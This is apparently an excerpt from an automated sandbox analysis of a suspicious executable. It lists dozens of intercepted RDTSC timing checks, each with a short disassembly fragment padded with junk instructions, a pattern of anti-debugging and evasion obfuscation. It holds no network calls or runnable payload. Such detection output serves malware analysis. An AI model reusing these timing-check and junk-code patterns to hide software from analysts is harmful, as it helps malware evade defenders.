Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92842A second address: 92847D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB1550A1F18h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jno 00007FB1550A1F2Eh 0x00000013 nop 0x00000014 add edi, 161E2055h 0x0000001a lea eax, dword ptr [ebp+12478F9Fh] 0x00000020 push ecx 0x00000021 sub dword ptr [ebp+122D2816h], esi 0x00000027 pop ecx 0x00000028 push eax 0x00000029 pushad 0x0000002a push ecx 0x0000002b jmp 00007FB1550A1F1Ah 0x00000030 pop ecx 0x00000031 pushad 0x00000032 push eax 0x00000033 pop eax 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AD20 second address: 96AD39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB154CDAD66h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jl 00007FB154CDAD68h 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AD39 second address: 96AD50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB1550A1F23h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96AD50 second address: 96AD54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B016 second address: 96B026 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jbe 00007FB1550A1F16h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B5F5 second address: 96B608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jbe 00007FB154CDAD66h 0x0000000c popad 0x0000000d pop esi 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B608 second address: 96B60C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96EA6C second address: 96EAB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB154CDAD79h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007FB154CDAD72h 0x00000013 popad 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 jp 00007FB154CDAD6Ch 0x0000001d je 00007FB154CDAD66h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DC300 second address: 8DC327 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB1550A1F23h 0x00000007 jmp 00007FB1550A1F20h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E34E second address: 96E354 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E49A second address: 96E4A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E5F4 second address: 96E5FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E5FF second address: 96E603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E763 second address: 96E767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E767 second address: 96E770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970B27 second address: 970B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FB154CDAD77h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jg 00007FB154CDAD66h 0x00000014 pop esi 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970B52 second address: 970B5C instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB1550A1F1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970B5C second address: 970B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9726BB second address: 9726C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976E31 second address: 976E43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB154CDAD6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976E43 second address: 976E56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB1550A1F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976E56 second address: 976E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976E5C second address: 976E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9765E3 second address: 9765E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976884 second address: 976898 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB1550A1F20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976898 second address: 97689E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97689E second address: 9768A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9768A2 second address: 9768A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976B24 second address: 976B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976B28 second address: 976B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B4BA second address: 97B4CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FB1550A1F18h 0x0000000c pop edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B4CD second address: 97B4DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FB154CDAD6Ah 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B626 second address: 97B66A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB1550A1F1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB1550A1F29h 0x0000000e jmp 00007FB1550A1F24h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B66A second address: 97B670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B670 second address: 97B676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B676 second address: 97B67E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B67E second address: 97B683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B683 second address: 97B68F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007FB154CDAD66h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B68F second address: 97B6AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB1550A1F23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FB1550A1F16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B6AE second address: 97B6B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B812 second address: 97B83A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB1550A1F29h 0x00000009 popad 0x0000000a jg 00007FB1550A1F1Eh 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B83A second address: 97B84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jo 00007FB154CDAD86h 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FB154CDAD66h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B84D second address: 97B851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B851 second address: 97B85B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B85B second address: 97B85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97B99A second address: 97B9A4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB154CDAD66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97BB5A second address: 97BB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB1550A1F16h 0x0000000a jbe 00007FB1550A1F16h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97BB6C second address: 97BB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FB154CDAD73h 0x0000000b jmp 00007FB154CDAD6Dh 0x00000010 pop ebx 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB154CDAD72h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980A84 second address: 980A8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980A8D second address: 980A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97FD2B second address: 97FD34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9801E6 second address: 9801F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9801F3 second address: 980200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980360 second address: 98036D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98036D second address: 980371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980371 second address: 980398 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB154CDAD79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FB154CDAD6Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980398 second address: 9803AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB1550A1F1Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9803AA second address: 9803AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9803AE second address: 9803B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 980673 second address: 980677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987FD6 second address: 988017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB1550A1F16h 0x0000000a pop edi 0x0000000b jmp 00007FB1550A1F21h 0x00000010 push ecx 0x00000011 jg 00007FB1550A1F16h 0x00000017 pushad 0x00000018 popad 0x00000019 pop ecx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jns 00007FB1550A1F16h 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 je 00007FB1550A1F16h 0x0000002b popad 0x0000002c popad 0x0000002d pushad 0x0000002e pushad 0x0000002f pushad 0x00000030 popad 0x00000031 push esi 0x00000032 pop esi 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 988017 second address: 98803F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FB154CDAD75h 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 js 00007FB154CDAD6Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986E90 second address: 986E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986E94 second address: 986E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986E98 second address: 986EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007FB1550A1F16h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 986EA8 second address: 986EAD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987167 second address: 987171 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB1550A1F16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987171 second address: 987196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB154CDAD6Dh 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB154CDAD6Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9874DC second address: 9874FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FB1550A1F1Dh 0x0000000b jl 00007FB1550A1F16h 0x00000011 push edx 0x00000012 pop edx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9874FC second address: 987502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987502 second address: 98750E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98778F second address: 9877B3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB154CDAD74h 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FB154CDAD66h 0x00000010 jns 00007FB154CDAD66h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9877B3 second address: 9877E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB1550A1F1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jmp 00007FB1550A1F1Eh 0x00000013 pop edi 0x00000014 push edi 0x00000015 push eax 0x00000016 pop eax 0x00000017 jnl 00007FB1550A1F16h 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9877E2 second address: 9877E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 987ACD second address: 987AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99064E second address: 990658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB154CDAD66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990658 second address: 99065C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99065C second address: 990667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99094C second address: 990950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990950 second address: 990954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990954 second address: 99095A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99095A second address: 990960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990960 second address: 99098F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB1550A1F1Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FB1550A1F26h 0x00000012 push ecx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99098F second address: 990994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990994 second address: 990999 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF857 second address: 8DF85B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DF85B second address: 8DF883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FB1550A1F34h 0x0000000e jmp 00007FB1550A1F20h 0x00000013 je 00007FB1550A1F1Eh 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9910A5 second address: 9910C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FB154CDAD73h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9910C0 second address: 9910CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jg 00007FB1550A1F16h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 997E02 second address: 997E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 ja 00007FB154CDAD66h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f pushad 0x00000010 js 00007FB154CDAD66h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 997E1B second address: 997E27 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB1550A1F1Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 997E27 second address: 997E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 997F71 second address: 997F76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 997F76 second address: 997F88 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB154CDAD6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9982B9 second address: 9982C9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB1550A1F16h 0x00000008 js 00007FB1550A1F16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9982C9 second address: 9982E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FB154CDAD66h 0x00000009 jng 00007FB154CDAD66h 0x0000000f jmp 00007FB154CDAD6Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9988AE second address: 9988B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB1550A1F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998B88 second address: 998B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
